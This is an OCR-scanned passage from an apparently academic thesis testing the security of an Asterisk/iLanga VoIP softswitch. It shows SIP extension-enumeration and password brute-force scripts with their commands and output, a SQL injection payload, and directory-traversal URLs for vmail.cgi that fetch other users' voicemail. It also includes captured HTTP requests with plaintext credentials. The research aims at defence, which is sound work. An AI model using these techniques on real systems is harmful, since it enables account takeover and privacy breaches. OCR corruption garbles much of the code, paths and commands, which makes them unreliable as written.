packets, shown in Figure 7 by the shaded box F. By flooding SER with malformed SIP 
packets it is hoped to discover vulnerabilities in the implementation of the SIP 
protocol in SER. This experiment will be discussed later in Section 3. to. 
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3.5 Gaining access to the softswitch 
The next two subsections will build on the discussion presented in Section 3.4, how it 
is possible to potentially exploit a softswitch through registered users' accounts. Two 
PYTHON SIP UA scripts have been developed to demonstrate this. Firstly Subsection 
3.5.1 will explain, using the SIP extension discovery script, how an attacker could 
learn about the extensions that are acti ve on the softswitch. Following the discovery 
of extensions on the softswitch, Subsection 3.5.2 will explain how an attacker could 
attempt to find the extensions' passwords using the SIP brute force password cracker 
script. These two experiments were inspired by a message posted on the VoIPSEC 
mailing list by John Todd [156]. Todd spoke about how he had witnessed a brute 
force attack on SIP REGISTER requests. Todd also mentioned how the attacker may 
have scanned a large number of extensions until a valid range was discovered. 
Endler et at. [40] have written a tool called SIPSCAN [41] that is similar to the SIP 
extension discovery script which was written for this thesis. It is a windows tool that 
can scan a specified SIP domain for a list of extensions using the SIP REGISTER 
method . It is also capable of performing INVITE and OPTIONS scans and not just on 
SIP servers but also SIP endpoints. 
For the rest of this section it will be assumed that a username and extension are one 
and the same for the following sections. ILANG A uses the extension as the username 
when the user logs onto the ILANGA front-end. 
3.5.1 SIP extension discovery 
Introduction 
The script discussed in this subsection has been developed to test if it is possible to 
learn which extensions are valid on a SIP server. Knowing which extensions are valid 
is helpful to an attacker for initiating application specific attacks, such as call 
hijacking, voicemail brute forcing, caller id spoofing, etc [40]. This was achieved by 
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sending SIP REGISTER messages to the SIP server and analysing the SIP response 
messages sent back by the SIP server. Once the extensions have been discovered, the 
script discussed in Subsection 3.5.2 will be used to find by brute force the extensions' 
passwords. 
The experiment 
The SIP extension discovery script is written m PYTHON and uses the TwISTED 
framework [2]. The script is staned from the command line in Linux, using a 
command, such as: 
.lsipExtDisco.py -I 7500 -e 7600 -s "146.231.121.134" 
The script sends SIP REGISTER messages to the IP address of the SIP server 
specified by the -s option. The extension in each SIP message is incremented by one 
for every message, staning at the extension specified by the -/ option and ending with 
the extension specified by the ~e option. 
In this experiment SIP Response messages are expected to be sent back from the SIP 
server. SIP has been constructed along similar lines as HTTP and thus uses similar 
response codes [106]. The SIP response codes (RFC 3261) [106] that are of interest in 
this case are the '2xx Responses' (successful responses) and the '4xx Responses' 
(request failure responses) [40]. For this attack to be successful, it has to be known 
why SIP responds with cenain codes. In this case, the '4xx Responses ' codes are of 
interest and can be explained as follows. 
When a SIP User Agent tries to register with a SIP server, a SIP server will respond 
with a message with either a 401, 404 or 407 response code. These codes are 
explained as the following [106]: 
I. a SIP message with a 401 response code is an unauthorized response, meaning 
that the extension is valid and the password for the extension was incorrect or 
not included in the SIP REGISTER message. 
2. a SIP message with a 404 response code, which is a not found message, 
meaning the extension is not valid on the SIP server. 
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3, a SIP message with the response code of 407, which is a proxy authentication 
required message, also means that the extension is valid but the correct 
password is required, This message is returned when a SIP proxy server is 
used between the SIP server and the endpoints, 
If a SIP message with a 401 or 407 response code is received, the extension is 
considered valid, The script will then record the extension to file and move on to the 
next extension, A 404 response code means that the extension is not valid, The script 
will then continue on to the next extension, The file containing the extensions will 
then be used in the next subsection, with the SIP brute force password cracker script. 
For a more detailed description of how this script works see Appendix B, I. 
Report on the data 
The script was tested on ASTERISK 1.2,7,1 with success, The script was able to 
discover the two extensions valid within the specific range, The script was started 
with the following line: 
jake@ilanga2:-/SIP BF$ ./sipExtDisco,py -f 7500 -€ 7550 -s "146,231,121,134" 
The following is an extract from the results obtained from this test: 
404 not found for extension: 7521 
404 not found for extension: 7522 
404 not found for extension: 7523 
•• **un 401 unauthorized for extension: 7524 
404 not found for extension: 7525 
***."H. 401 unauthorized for extension: 7526 
404 not found for extension: 7527 
404 not found for extension: 7528 
404 not found for extension: 7529 
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As discussed in the previous subsection, a 401 SIP message means that the extension 
is valid but the password was incorrect. The results indicate that the extensions 7524 
and 7526 are valid on the ASTERISK server tested. A complete list of output from this 
test can be found in Appendix B.2. 
Discussion 
The script proved successful and an attacker would be able to learn which extensions 
are valid on a SIP server. One problem with the way the script discovered the 
extensions is that it is not a steal th type of attack. The system administrator will be 
able to see that the softswitch is surely being probed and take counter measures. 
3.5.2 SIP brute force password cracker 
Introduction 
Once the extensions have been discovered on a SIP server, the passwords for these 
extensions will be required. Following on from the successful SIP extension discovery 
experiment, a script has been developed that will attempt to crack a SIP registration 
password by brute force. This experiment sets out to prove that softswitches with a 
SIP access point are vulnerable to these types of attacks, by targeting the extensions 
discovered with a tool similar to the SIP extension discovery script. 
The experiment 
The SIP brute force password cracker script is written in PYTHON and uses the 
TwISTED framework. This script is similar to the SIP extension discovery script but 
incorporates hashing a response to send back to the SIP server. The script is started 
from the command line in Linux, using the following command, for example: 
.I5ipBruteForcePa55wd,py -e t 009 -5 "146,231,123.45" 
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The script starts by sending a SIP REGISTER message with the targeted user's 
extension, specified by the -e option, to the SIP server, specified by the -s option. 
The nonce, which is a unique server-specified data string generated every time a SIP 
message with the code 401 is sent, is sent back [45]. Then a response is generated 
using the extension, the nonce, the realm, the guessed password, method and the 
Universal Resource Identifier (URI) . The realm string is the domain in which the SIP 
server is located, the protected domain [106]. If the hash in the message is the same as 
the hash on the SIP server, then the password was correct and a code 200 SIP message 
is sent back. A code 403 SIP message is sent back if the hashes did not match and 
therefore the password was incorrect. A new SIP REGISTER message is sent again to 
get a new nonce, the password is changed and the new hash is sent back. This 
continues until the password is guessed correctly. 
For a more detailed description of how this script works see Appendix C. I . 
Report on the data 
The script was tested on ASTERISK 1.2.7. 1 with success. The script was able to find 
the password of the extension that was selected, although in this case it was assumed 
that the password consisted only of numerical characters. This is the password scheme 
used in ILANGA. Below is an extract from the results obtained from the test: 
The test was started with the following line: 
.IsipBruteForcePasswd.py -e 7526 -s "146.231.121.134" 
The extension 7526 was targeted, as can be seen from the following output the script tried 234 
times to crack the password. 
sending new message to get a new nonce 
········401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
uuu*," 401 unauthorized for extension: 7526 
sending auth message 
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number of tries: 234 
success ---------- password is: 1234 
A complete listing of the output of this test can be found in Appendix C.2, 
Discussion 
In this case the script proved successful and an attacker would be able to crack the 
password of an extension, But as with the SIP extension discovery script, the system 
administrator would be able to see that the password had been searched and take 
simple counter measures. 
3.6 An attack through a user account on the ILANGA front-
end 
Introduction 
The previous section illustrated that it is possible to discover a useable extension and 
password on a SIP server. This experiment aims to use this extension and SQL 
injection, covered in Subsection 2.4,3, against rLA NGA to try to exploit other user 
accounts, A motivation to use SQL injection is to gain access to data that an attacker 
could normally not access, in this case, that data being the iLanga database [109]. A 
SQL injection attack through the rLANGA front-end was decided on because the 
attacker will know a user's credentials for rLANGA and it is possible to capture the 
packets sent between the iLanga front-end and the web server in rLANGA, thus 
bypassing client-side security, As stated in Chapter 1, it will be assumed that the 
firewall is correctly configured and that the MySQL port (3306) is closed, 
Restrictions were also placed on the database that only allowed connections from the 
local host, discussed in Subsection 3.3,2, Therefore a SQL attack on the database 
from an external connection will not be possible and this is why a SQL attack through 
the ILANGA front-end will be attempted, 
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WEBSCARAB [36] is a Web Application review tool and is used for reviewing Web 
Applications for security vulnerabilities. It has a number of plugins that can be used, 
but just two have been chosen for this experiment: the PROXy PLUG IN and the 
MANuAL REQUEST PLUGIN. The PROXY PLUGIN acts as the proxy server between a 
webpage and the web server. With ILANGA the web server is situated on the ASTERISK 
server. The PROXY PLUGIN allows one to capture the requests and responses between 
the webpages and the web server. By using the PROXY PLUGIN it has been possible to 
learn what variables are being passed around. This can also be achieved by using 
WIRESHARK [3], but WIRESHARK does not allow you to edit the requests before they 
are sent. 
The MANUAL REQUEST PLUGIN enables a request to be edited and sent to the web 
server. It has proven possible to forward a request to the ILANGA web server and 
toggle a user's VoIP devices between available and ringing. (In ILANGA the available 
status means that the device has not being assign to ring and is available to be 
changed to the ringing status. The ringing status means that the device will ring when 
the user's extension is dialled). This can be achieved by knowing the user ' s extension, 
password and the deviceID of the device that needs to be changed. In reality though, 
knowing the extension and the password, it would be easier to log onto the ILANGA 
front-end and have full control of the user's account. The objective of this experiment 
is to see if it would be possible to make changes to other user accounts by knowing 
one user' s extension and password. 
This is why WEB SCARAB has been chosen. The PROXY PLUGIN will be used to capture 
packets between the ILANGA front-end and the web server. The packets will be 
generated by logging into the ILANGA front-end with the user account that has been 
cracked. Once the packets of a simple exchange have been captured, the packets will 
be altered using the MANUAL REQUEST PLUGIN. The altered packets will contain some 
additional data that will attempt to make changes to another user's accounts. The 
altered packets will then to be replayed to the web server. 
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The experiment 
The experiment has been attempted through WEB SCARAB by using the MANUAL 
REQUEST PLUGIN. WEBSCARAB was run on the attacker's computer and it seemed to 
ILANGA that other web browser was accessing the web server. The PHP webpages on 
the web server that handles the requests have been examined. One page, the 
saveuserdevices.php page, enables users to change the status of their VolP devices. 
By editing a request for a change in status of the user' s VolP devices of an exploited 
user' s account, it has been attempted to make changes other user's account. These 
changes include adding SQL commands to the value of variables in the MANUAL 
REQUEST PLUGIN . 
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Figure 8: MANUAL REQUEST PLUGIN 
Figure 8 is an extract from a screen shot of the account of the user 7526 in the 
MANUAL REQUEST PLUGIN. These are the variables and their values that will form the 
body of the HTML POST request. The black rectangle highlights the SQL statement 
that will stop the user 7525's SIP phone from ringing when some tries to call the user. 
This is attempted by setting the isoperationai variable to false or '0'. 
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Report on the data 
This has been unsuccessful. Figure 9 is the response received from the web server. 
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Figure 9: Response received 
At the end of the response in Figure 9 is the phrase success=success, the intended 
request was successful for the user 7526 but unsuccessful for user 7525. The first 
UPDATE SQL statement is the intended one and the second one is the statement that 
has been added to the request. The difference is the backslashes that are before and 
after the values of the variables. This because of the PHP function addslashes, which 
returns a string with backslashes before quotes, because the quotes need to be escaped 
within the string in order to have them inserted into a field in the database. 
For example, if a surname field was being updated with the surname O'Brien, this 
could be done with the following statement. 
UPDATE family SET surname = 'O'Brien' where first_name='Greg'; 
The quote in O'Brien will cause an error because MYSQL will interpret the second 
quote as the closing quote, To solve this, the quote in O'Brien needs to be indicated to 
MySQL that it is not the closing quote, escaped. This is an example of a valid quote: 
UPDATE family SET surname = 'O\'Brien' where first_name= 'Greg'; 
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The saveuserdevices.php script constructs a SQL query using the variables sent in the 
HTTP request. This is done by building up a string with the required SQL commands 
and the variables sent with the HTTP request. Below is an extract of how the string 
variable called query is built up. 
$query = "UPDATE userdevices SET ". 
"isbiliable=''' .addslashes($_REQUEST[''isbiliable''.$n]). ''', ". 
"icon="'.addslashes($_REQU EST["icon".$n])."', ". 
"alias="'.addslashes($_REQUEST["alias".$n]).''', ". 
"isdeletable='''.addslashes(LREQUEST[''isdeletable''.$n])."', ". 
"priority="'.addslashes($_REQUEST["priority".$n])."', ". 
"isoperational="'.addslashes(LREQUEST["isoperational".$n]).''', ". 
"channel="'.addslashes($_REQUEST["channel" .$n])."' ". 
"WHERE devid='".addslashes($_REQUEST["devid".$n]).""'; 
What can be seen from this extract is that the addslashes function is applied to the 
variables extracted from the HTTP request. The string value that is returned from the 
addslahses function is then concatenated onto the query string. The addslashes 
function escapes singles quotes, double quotes, backslashes and NULs with 
backslashes for insertion into a database [154]. The returned value from the 
adds lashes function is a problem for the extra SQL commands added onto the HTTP 
request. The following SQL statement was inserted where the devid variable is being 
called in the above extract: 
23';update userdevices SET isoperational='Q' where username='7525' and 
channel='SIP/7525 
The number 23 in the above extract was the original value of the devid variable, As 
can be seen from the query extract, the devid variable is the last variable used in the 
SQL statement, a reason why it was decided to have the extra SQL statement added 
onto the devid variable. The original value of the devid variable is followed by a 
single quote (') and a semi-colon (;), to close off the quote and end the SQL 
statement. This is followed by the injected SQL statement. What needs to be 
remembered now is that the above extract is the value of the devid variable that will 
be passed to the adds lashes function and this function presents a problem for SQL 
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injection attacks. What is noticeable in the above extract is the use of single quotes, 
and when the devid variable is passed to the adds/ashes function, these single quotes 
will be escaped with a backslash, this sanitises the SQL statement. The backs lash 
caused the statement below to be unsuccessful for the second update statement, 
bolded. The first update statement was still executed successfully. 
UPDATE userdevices SET isbiliable='O', icon='1 ', al ias='my lAX phone', 
isdeletable='O', priority="', isoperational='O', channel='IAX2[7526@1234], WHERE 
devid='23I';updale userdevices SET isoperalional=I 'o\' where username=17S2SI' 
and channel=I'SIP/7S2S'success=success 
Discussion 
This experiment set out to see if it was possible to accomplish SQL injection through 
the ILANGA front-end and exploit another account through an already owed account. 
The outcome was that it is not possible. This is because the MACROMEDIA FLASH 
pages do not communicate directly with the database. The HTTP post request gets 
sent to a PHP script on the web server which parses the message and queries the 
database. 
3.7 Exploiting the ASTERISK vmail.cgi script remote 
directory traversal vulnerability in ASTERISK 1.0.9 
Introduction 
This section discusses a known vulnerability [102] in ASTERISK 1.0.9 and 
demonstrates how the vulnerability can be exploited. This vulnerability is included in 
this chapter to demonstrate how cgi files can be used to exploit a softswitch. The use 
of a cgi fi le within ILANGA will be discussed in the Section 3.8. This section is laid 
out as follows: we firstly explain how to set up ASTERISK to use the vmail Graphical 
User Interface (GUn, then how to download other users' voicemails and finally how 
this exploit was possible. 
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How to set up ASTERISK 
Firstly the vmail GUI of ASTERlSK needs to be set up by executing the command 
make webvmail from the ASTERlSK source directory_ This will install the vmail.cgi file 
into the directory Ivarlwwwlcgi-bin. The vmail.cgi file needs to be made executable 
by using the following command in the Ivarlwww/cgi-bin directory: 
chmod +s vmai.cgi 
Also the following packages: perl, perl-suidperl and httpd need to be installed on the 
system. The vmail GUI will be accessible from the address: 
http://{the pc's ip)/cgi-binlvmaiLcgi 
For this exploit to work, the context field of the user in the users table of the 
ASTERISK database needs to be set to its default and the voicemail files need to be 
stored in Ivarlspoollasteriskivoicemailidefaultl{mailbox}.This is the default setting to 
allow the vmail.cgi script to access the voicemail files. 
Downloading other users' voicemails 
Once this is all set up and running one will be able to download other people's 
voicemail by using the following URL: 
re spbx. ict. ru. ac. za/cg i-
binlvmail.cgi?action=audio&folder= . .l4000/INBOX&mailbox=4001 &context=defau1t&p 
assword=1234&msgid=0002&format=wav 
One will not be able to see the files but just be able to download them. This is when 
some guessing will come into play. One will have to guess the number of the 
voicemail and change the msgid number to download different voicemails. 
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Discussion on how the exploit works 
This exploit is possible because in Linux one can traverse backwards from the current 
directory using the .J in a command. With the above URL one is logging into the 
system with the credentials of user 400J. Normally this will access the specified 
folder in the user's directory from the folder= option in the URL, for example 
INBOX, Old, Work, or Family. These are some of the folders that ASTERISK will 
allow the user to organise his voicemail files into. 
The script uses the open command to open the voicemail files and the path set for the 
open command is set out in the following manner: 
Ivarl spooVasteriskivoicemail/{context)/{mailbox)/{folder)/msg{msgid).{format) 
So if the following URL was used: 
respbx. ict.ru .ac.za/cg i ~ 
bin/vmail.cgi?action=audio&folder=INBOX&mailbox=4001 &context=default&passwor 
d= 1234&msgid=0002&format=wav 
the path for the open command would look like the following: 
lvarl spooVasteriskivoicemail/defaulV4001 /lNBOXlmsg0002.wav 
And the file msg0002. way will be opened from user 4001's INBOX. 
But if the following URL was used: 
respbx .ict. ru.ac.zalcgi-
binlvmail.cgi?action=audio&folder= . .I4000IlNBOX&mailbox=4001 &context=default&p 
assword= 1234&msg id=0002&format=wav 
the following path for the open command will be used: 
lvarl spooVasteriskivoicemail/defauIV4001 / .. /4000/INBOXlmsg0002.wav 
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Now this will traverse backwards out of the directory Ivarlspooilasteriskl 
voicemailldefaultl4001 to Ivarlspoollasterisklvoicemailldefault and then into the 
directory Ivarlspoollasteriskivoicemailldefauitl400011NBOX. So the URL has logged 
in as the user 4001 but then changed directories to the directory of the user 4000. 
This vulnerability cannot be used to copy any other type of file from the system 
because the vmai l script is looking for a file that starts with the letters msg and then 
the script fills in the rest from the msgid and the format options to create a file for 
example like msg0002. way 
3.8 ILANGA web front-end interactions and vulnerabilities 
The ILANGA front-end consists of [56]: 
• MACROMEDIA FLASH web pages 
• A web server that holds the MACROMEDIA FLASH pages, PERL scripts and 
PHP scripts 
• the ILANGA proxy 
The MACROMEDIA FLASH web pages provide an interface for the user to interact with 
ILANGA. The MACROMEDIA FLASH pages in tum call on PHP and PERL scripts and 
send ASTERISK Manager API commands to the ILANGA proxy to perform the required 
tasks. The MACROMEDIA FLASH web pages, PERL and PHP scripts are located on a 
web server. The web server, ILANGA proxy, the database and ASTERISK can be located 
on the same server or can be placed on four different servers. 
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3.8.1 PHP scripts 
The PHP scripts are used to query and update the asterisk database through the web 
server. The PHP scripts can be restricted to only have select and update pennissions 
on the IIsers and userdevices tables in the asterisk database; how to restrict the PHP 
scripts has been explained in Subsection 3.3 .2. The restriction will affect the tasks 
perfonned by the PHP scripts. The PHP scripts are invoked through a HTTP post 
request. 
iLanga Front·end 
Flash files 
Interaction A 
Figure 10: ILANGA front-end and PHP scripts 
Web 
Server 
Database 
For example the following line is used in the MACROMEDIA FLASH file telephones.swJ 
which is executed when the My Telephone tab is clicked on: 
this.devlv .sendAnd LoadLglobal. uri base + "/userdevices. php", this.devlv, "POST"); 
This sends the following HTTP post request to the web server, shown in Figure 10 
interaction A: 
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POST http://pbx.ict.ru.ac.za:80/iLangaiuserdevices.php HTTP/l.l 
Host: pbx,ict.ru.ac.za 
User-Agent: Mozillal5.0 (Windows; U; Windows NT 5.1; en-US; rv:l.8.0.3) 
Gecko/20060426 Firefoxll.5.0.3 
Accept: 
texVxml,application/xml,application/xhtml+xml,texVhtml;q=0.9,texVplain;q=0.8,image/ 
png:/";q=0.5 
Accept -Language: en-us,en ;q=0.5 
Accept-Encoding: gzip,defiale 
Accepl-Charsel: ISO-8859-1,utf-8;q=0. 7, ";q=O. 7 
Keep-Alive: 300 
Proxy-Conneclion: keep-alive 
Cookie: MinIUnique=l; MintUniqueMonth=1149112800; sldzoneslyle=sludenlzone; 
MintUniqueWeek=1148767200; MinIUniqueDay=1149112800; 
PHPSESSI D=4b55b4631 07f2d39a9a404636a5262be 
Conlenl-Iype: applicalion/x-www-form-urlencoded 
Conlenl-Ienglh: 119 
onLoad=%5Btype%20Function%5D&parent::%5FleveIO%2Enav%2Enav%2Econtain 
er%2Eholder%2Etelephones&password=1234&username=7524 
The user's credentials are seen in the body of the HTTP post request above. What 
follows is an extract from the userdevices.php file, which is invoked by the HTTP 
post request, which returns the user's devices and is interaction B shown in Figure 10. 
Although the user's credentials are not required to run the second query, the intended 
one, an authentication query, authQuery, with the user's credentials is first performed 
on the database before the intended query. 
Authentication { 
query 
Required { 
query 
$authQuery = "SELECT mailbox FROM users WHERE mailbox 
='".$_REQUEST("username"].'" and password = 
'".$_ REQUEST("password"]. ""' ; 
$authResult = mysql_query($authQuery); 
$authNumRows = mysqL num_rows($aulhResull); 
if($authNumRows > 0) 
$query = "SELECT' from userdevices where username 
='" .addslashes($_R EQU EST("username"]) . "'''; 
.. .. j 
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The userdevices.php returns the user's devices information, interaction A, through the 
following HTTP response: 
HTTP/1.1 200 OK 
Date: Thu, 01 Jun 2006 12:22:29 GMT 
Server: Apache/2.0.48 (Gentoo/Linux) mod_ssI/2.0.48 OpenSSUO.9.7c PHP/4.3.4 
X-Powered-By: PHP/4.3.4 
X-Transter-Encoding: chunked 
Content-Type: text/html; charset=ISO-8859-1 
Content-length: 412 
num=3&usernameO=7524&channeI0=IAX2%5B7524%407524%5D&isoperationalO=O 
&priorityO= 1 &isbi liableO=O&isdeletableO=O&aliasO=M y+IAX + Phone&iconO= 1 &devidO 
=36&username1 =7524&channeI1 =SIP%2F7524&isoperationaI1 = 1 &priority1 =1 &isbill 
able 1 =0&isdeletable1 =0&alias1 =my+SI P+phone&icon 1 =1 &devid1 =1 08&username2= 
7524&channeI2=SIP%2F7654&isoperationaI2=1 &priority2=1 &isbiliable2=0&isdeletabl 
e2=0&alias2=My+DigS+phone&icon2=1 &devid2=509 
What can be seen from this request for information is that all the information is 
transmitted between the browser and the web server in plain text, even the usemame 
and password. This is the case for all the other information requested via PHP scripts 
which perform the following functions: 
• Login 
• Load user's details 
• Save user's details 
• Get user's voicemails 
• Add a personal contact 
• Search directory 
• Save user's devices 
• Get CDR 
• Update prepaid details 
• Load prepaid card 
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If the packets between the browser and the web server were captured, a man-in-the-
middle attack would be possible. 
3.8.2 PERL scripts 
PERL scripts are utilised to edit, delete and play files on the ASTERISK server's file 
system through the MACROMEDIA FLASH web pages. The PERL script files need to be 
located on the same computer as ASTERISK because they interact with certain 
ASTERISK files. The MACROMEDIA FLASH files do not directly interact with the PERL 
script files. The PERL scripts need privileged rights to perform the tasks mentioned 
above. For this, wrapper files have been created in the form of CGI scripts and these 
call the PERL scripts. The cgi files have the sum bit set and are owned by root. This 
allows for the PERL scripts to be run as root and thus have permission to edit, delete 
and play files on the ASTERISK server's file system [56]. For the PERL scripts to be 
executed on the web service the corresponding cgi file needs to be called. This is done 
with the following line in the MACROMEDIA FLASH web page: 
this.tmpioadvars.sendAndLoadCgiobal.uribase 
th is.tmploadvars, "POST"); 
+ w/reload_ extensions.cgi", 
This line causes the interaction A shown in Figure 11 and the following HTTP post 
request is sent to the web server. 
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POST htlp:llpbx.ict.ru.ac.za:80! iLangaireload_exlensions.cgi HTTP! l.l 
Host: pbx.ict.ru.ac.za 
User-Agent: MozillaiS.O (Windows; U; Windows NT S.l; en-US; rv:l .8.0.3) 
Gecko!20060426 FirefoX/l.5.0.3 
Accept : 
texVxml,application!xml ,application!xhtml+xml,texVhtml;q=0.9,texVplain;q=0.8,image! 
png:r;q=0.5 
Accept-Language: en-us,en;q=O.S 
Accept-Encoding: gzip,deflate 
Accept-Charsel: ISO-8859-1 ,utf-8;q=0. 7, ·;q=O. 7 
Keep-Alive: 300 
Proxy·Connection: keep-al ive 
Cookie: MintUnique=l; MintUniqueMonth=11491 12800; stdzonestyle=studentzone; 
MintUniqueWeek=1148767200; MintUniqueDay=1149112800; 
PH P SESSI D=4bS5b4631 07f2d39a9a404636aS262be 
Content-type: applicationlx-www-form-urlencoded 
Content-length: 28 
onLoad=%5Btype%20Function%5D 
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The HTTP post request calls the reload_extensions.cgi file which runs the PERL script 
reloadJxtensions.pl. This script needs to access the ASTERISK database, shown in 
Figure II, interaction C, to read the userdevices table. The table is read so that user's 
devices that are operational can be added to the userscontext.conj file, Figure II, 
interaction 2. The userscontext.conj file provides the extensions needed by ASTERISK 
to complete phone calls. 
Once this is completed successfully, reloadJxtensions.pl returns a HTTP response 
containing Result=success in the body, shown below: 
HTTP/1.1 200 OK 
Date: Thu, 01 Jun 2006 19:04:40 GMT 
Server: Apache/2.0.48 (Gentoo/Linux) mod_ssl/2.0.48 OpenSSUO.9.7c PHP/4.3.4 
X-Transfer-Encoding: chunked 
Content-Type: texUplain; charset=ISO-8859-1 
Content-length: 14 
Result=success 
No user's credentials are sent when this script is invoked. If an attacker could gain 
access to only the database, there is a possibility that the attacker could set a user's 
device to non-operational. The attacker could then send a HTTP post request to the 
reload_extensions.cgi. This would then call the reloadJxtensions.pl file and reload 
the usercontexl.conjfile, thus updating ASTERISK'S extension, stopping the user from 
receiving any phone calls. 
The deletevoicemail.pl. playmail.pl and movevoicemail.pl scripts operate in similar 
fashion. For example, the deletevoicemail.pl script is invoked from the following line 
in the MACROMEDIA FLASH webpage: 
this.dellv.sendAndLoadCglobal.urlbase + "/deletevoicemail.cgi".this.dellv."POST..); 
This line causes the interaction A shown in Figure 11 and the following HTTP post 
request is sent to the web server. 
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POST hnp:llpbx.ict.ru.ac.za:80/iLangaJde[etevoicemail.cgiHTIP/1.1 
Host: pbx.ict.ru.ac.za 
User-Agent: MoziliaJ5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) 
Gecko/20060426 Firefoxl1.5.0.3 
Accept: 
texVxm[,app[ication/xm[,app[ication/xhtm[+xm[,texVhtm[;q=O.9,texVp[ain;q=O.8,imagel 
png,"l' ;q=O.5 
Accept-Language: en-us,en ;q=O.5 
Accept-Encoding: gzip,def[ate 
Accept-Charsel: [SO-8859-1 ,utl-8;q=O. 7,";q=O. 7 
Keep-A[ive: 300 
Proxy~Connect ion: keep-alive 
Cookie: MintUnique=1; MintUniqueMonth=1149112800; stdzonesty[e=studentzone; 
MintUniqueWeek=1148767200; MintUniqueDay=1149112800; 
PHP SESS [D=4b55b4631 07f2d39a9a404636a5262be 
Content-type: app[ication/x-www-form-ur[encoded 
Content-length: 146 
onLoad=%5Btype%20Function%5D&parent=%5Flevel0%2Enav%2Enav%2Econtain 
er%2Eho[der%2Evoicemai[&mai[box=[NBOX&message=msg0001 &passwd=7024&us 
ername= 7524 
From this HITP post request, the deierevoicemail.pi script receives the user's 
credentials, the mailbox and the message number to delete. From this the scripts 
check to see if there is a usemame and mailbox and whether the usemame, mailbox 
and message are contaminated with the following code: 
if(!defined($vars("username"})) ( 
print STDERR "No usernameln"; 
exit(1 ); 
if(!defined($vars{"mai[bcx"))) ( 
print STDERR "No mai[boxln"; 
exit( 1); 
if($vars{"username") =- ml' ((A-Za-z_O-9-]+)$/) ( 
$vars{"username") = $1; 
) else { 
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print STDERR "Tainted username\n"; 
exit(l); 
if($vars("mailbox"} =- m/A([A-Za-z_0-9-]+)$1) { 
$vars{"mailbox"} = $1 ; 
] else ( 
print STDERR "Tainted mailbox\n"; 
exit(l ); 
if($vars("message"} =- m/A([A-Za-z_0-9-]+}$/) ( 
$vars{"message") = $1; 
} else ( 
print STDERR "Tainted message\n"; 
exit(l ); 
Note in this code segment that no password is checked. although it was sent with the 
HTTP post request. Once the voicemail has been deleted. the script returns a HTTP 
response: 
HTIP/1.1 200 OK 
Date: Thu . 01 Jun 2006 19:22:05 GMT 
Server: Apache/2.0.48 (Gentoo/Linux) mod_ssI/2.0.48 OpenSSUO.9.7c PHP/4.3.4 
X-Transfer-Encoding : chunked 
Content-Type : texVplain; charset=ISO-8859-1 
Content-length: 14 
Result=success 
This is the same response that would be sent for the movevoicemail.pl. but for the 
playmail.pl script an mp3 file is returned. 
What has been seen from these three script files is that no password is required to 
delete. move or play a voicemail. An attacker could reconstruct the HTTP post 
request show above and send it to the web server to accomplish any of these tasks. 
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3.8.3 ILANGA proxy 
The ILANGA proxy is a script written in PYTHON and uses the TwISTED framework, 
which is used as a proxy between the MACROMEDlA FLASH web pages and ASTERISK, 
shown in Figure 12. The proxy is used because ASTERISK becomes unstable if there 
are a number of connections made to the ASTERISK Manager API and it broadcasts all 
information to all of the clients connected to it [56]. The proxy establishes one 
connection to the ASTERISK Manager API using the manager credentials found in the 
ASTERISK manager.conffile and users establish connections with the proxy, a 'one to 
many' connection. The proxy forwards commands to the ASTERISK Manager API or 
handles these commands itself. It also decides which responses to send back to the 
MACROMEDlA FLASH web page. 
When users log into the MACROMEDIA FLASH front-end, firstly, the user's credentials 
are checked against the database using the login.php script. which is called from the 
login.swf page. Once the user has been successfully authorized. the nav.swf page is 
loaded. When the nav.swf page is loaded. it authenticates the user with the ILANGA 
proxy with the following command: 
myAuth = "Action: Loginl rlnUsername: " + Jjlobal.username + "\rlnSecret: " + 
Jjlobal.passwd + "Irlnlrln"; 
myXMLSocket.send(myAuth); 
The command above uses the Actionscript XMLSocket class; a socket is opened over 
a TCP/IP connection as shown in Figure 12 interaction A. 
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Figure 12: ILANGA front-end, ILANGA proxy and ASTERISK 
The command in transit is the following: 
Action: Login 
Usemame: 7524 
Secret: 7024 
Database 
iLanga Front-end 
Flash files 
The ILANGA proxy receives this command. The proxy is initially in an unauthorized 
state (STATE_UNAUTH) and thus attempts to log the user in and does not pass the 
command on to the ASTERISK Manager API. It checks the type of login attempt it is, 
either a nonnal login or an admin login. The command above was sent for a nonnal 
login attempt and the state is changed to STATE_LOGINATIEMPT. Then the command 
is checked to see if it contains a usemame and password. If a usemame and password 
(secret) is present, the user's credentials are checked against the database, shown in 
Figure 12, interaction C. If this is successful, the state is set to authorized 
(STATE_AUTH) and a success message along with the user's prepaid balance is 
returned to the MACROMEDIA FLASH webpage. If this is unsuccessful, a failed 
message is returned and the state is set to (STATE_UNAUTH). This is shown in the code 
below: 
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def lineReceived(self,lin): 
Normal { 
Admin login 
Calls function 
I'Iriminl nninn 
Checks login 
for username 
:::Inri nl'l~c:;wnrrt 
if self.slale == STATE_UNAUTH: 
if lin.lowerO == "aclion: login": 
else: 
self.slale = STATE_LOGINATTEMPT 
if lin.lowerO == "aclion: adminlogin": 
else: 
sel!.slale = STATE_ADMINLOGINATTEMPT 
self.clienllype=USERTYPE_ADMIN 
prinl "Received invalid line (no login yel)" 
sel!.sendLine("Response: FailurelrlnMessage: No 
a ul h e nlical i onlrlnlrln ") 
elif sel!.slale >= STATE_ADMINLOGINATTEMPT and sel!.slale <= 
STATE_ADMINSECRETREC: 
sel!.admin Log in(lin); 
elif sel!.slale == STATE_LOGINATTEMPT: 
if lin[:1 O). lowerO == "username: ". 
self.username = Iin[10:) 
else: 
sel!.slale = STATE_UNAMEREC 
prinl "Received invalid line (username expecled)" 
sel!.sendLine("Response: FailurelrlnMessage: Username 
expecledlrlnlrln") 
sel!.slale = STATE_UNAUTH 
elif self. stale == STATE_UNAMEREC: 
if lin[:8).IowerO == "secret: ": 
else: 
sel!.secret = lin[8:) 
self.slale = STATE_SECRETREC 
prinl "Received invalid line (secret expecled)" 
sel!.sendLine("Response: FailurelrlnMessage: Secret 
expected\rln\rln") 
self.slale = STATE_UNAUTH 
elif self.slale == STATE_SECRETREC: 
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Queries database 
to authorise user 
Returns success 
messaae and 
Authorisation 
failed 
Returns failure { 
if not lin.stripl): 
else: 
self.factory.db.query("select mailbox, password , fullname, 
prepaid_balance,homeserver from users where 
mailbox='%s'" % MySQLdb.escape_string(self.username)) 
result = self.factory.db.fetchO 
if result and (result["password"] == self.secret): 
print 'Authorized" 
else: 
self.sendLine('Response: Successl r\nMessage: 
Authorization successfullrln\r\n") 
self.sendLine("Event : StatuslrInPrepaid_balance: ' + 
